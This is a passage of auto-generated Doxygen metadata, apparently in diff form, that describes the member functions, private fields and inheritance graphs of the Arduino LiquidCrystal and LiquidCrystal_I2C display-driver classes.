'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '64'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1adb5f37d69809ed7c0772c74a4adff19b'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '79'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + @param cols: the number of columns that the display has + @param rows: the number of rows that the display has + @param charsize: size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a56142f8b3753bedd133e4139e5eb5089'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae45eec827b26174f73e9cf3ddda635af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'fourbitmode'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '105'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1adebd21f2955b1e193a6d24367833fd63'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write8bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '112'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 8 bit value to the LCD. + @discussion Writes 8 bits to the LCD control data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a52837217db49272eea03c9056cab36a8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '119'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a44d84c010396c993f124d2feb9dc794d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '127'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1affd20665bda00d8b0e37d5ee87543e81'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rs_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '129'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a29061eaa64c2e9f3b985ff52249b62a9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rw_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '130'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1aef7d920abae32b5faa2625ffa3879c4b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '131'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a0b2da39d056aed9940b0525e554668d7'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '132'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + cp-fileline = '40'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 7; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 6; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '7'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 9; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 8; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '9'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___i2_c'; + cp-name = 'LiquidCrystal_I2C'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aac537d195557e0b8afac1a71441a484c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '84'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr: I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aeee2ada537f0cfbfda8613324b57c4a6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '98'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + @param cols: the number of columns that the display has + @param rows: the number of rows that the display has + @param charsize: size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a8bf1fab7efe13e8b17b96c42d1f810b4'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '112'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value: Value to send to the LCD. + @result mode: LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a576f1f5813f55f34333d6d7e9fe53ad3'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBacklight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '122'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight, this method is not supported by + the I2CLCDextraIO, it needs an extra IO pin to drive the LCD backlight + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9f296e0d26f8b6a4509d8d4b9d738c03'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'backlight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '132'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight, this method is not supported by + the I2CLCDextraIO, it needs an extra IO pin to drive the LCD backlight + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a459c4fa106fb7bac5940e3c6aea736af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '142'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aebb0b9f000b94cc3ab026e0154d6ecef'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '149'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a1d715dbf40f06b4c15004cd356b5a321'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = '_data'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '157'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a4c63780ceef67e90750d3e4bbdb83402'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'expanderWrite'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = '_data'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes to the expansion module. + @discussion Writes a byte to the IO expansion module. This will be applied + to all its outputs. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0bb3cc7ec414b373ef00e0cc6642ec88'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Addr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '167'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1af99934fdb39403e02d68981ad8366e6b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_cols'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '168'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adb3edf6c68b018a37293a926c4816127'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rows'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '169'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1af63a2b732d345d55abfcb83bf962c8d3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightval'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '170'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adcc89f14c444ff086f544f33fc18ca4c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +I2CIO +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cio'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '171'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + cp-fileline = '72'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 11; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 10; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '11'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 13; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 12; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '13'; + relation = public-inheritance; + }; /* node-child */ + node-child = { + child-id = '14'; + relation = usage; + edgelabel = <<_EnD_oF_dEf_TeXt_ +_i2cio +_EnD_oF_dEf_TeXt_; + }; /* node-child */ + }; /* node */ + node = { + node-id = 14; + node-label = 'I2CIO'; + node-link = { + node-link-id = 'class_i2_c_i_o'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +file = { + file-id = '_i2_c_i_o_8cpp'; + file-name = 'I2CIO.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp'; + file-first-line = '1'; + file-briefdesc 